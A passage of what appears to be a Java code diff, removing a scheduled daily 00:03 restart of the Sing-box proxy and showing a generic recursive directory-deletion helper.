now.withHour(0).withMinute(3).withSecond(0).withNano(0); - if (!next.isAfter(now)) next = next.plusDays(1); - - long initialDelay = Duration.between(now, next).getSeconds(); - - scheduler.scheduleAtFixedRate(restartTask, initialDelay, 86_400, TimeUnit.SECONDS); - - System.out.printf("[定时重启Sing-box] 已计划每日 00:03 重启(首次执行:%s)%n", - next.format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"))); - } - private static void deleteDirectory(Path dir) throws IOException { if (!Files.exists(dir)) return; Files.walk(dir).sorted(Comparator.reverseOrder()).map(Path::toFile).forEach(File::delete);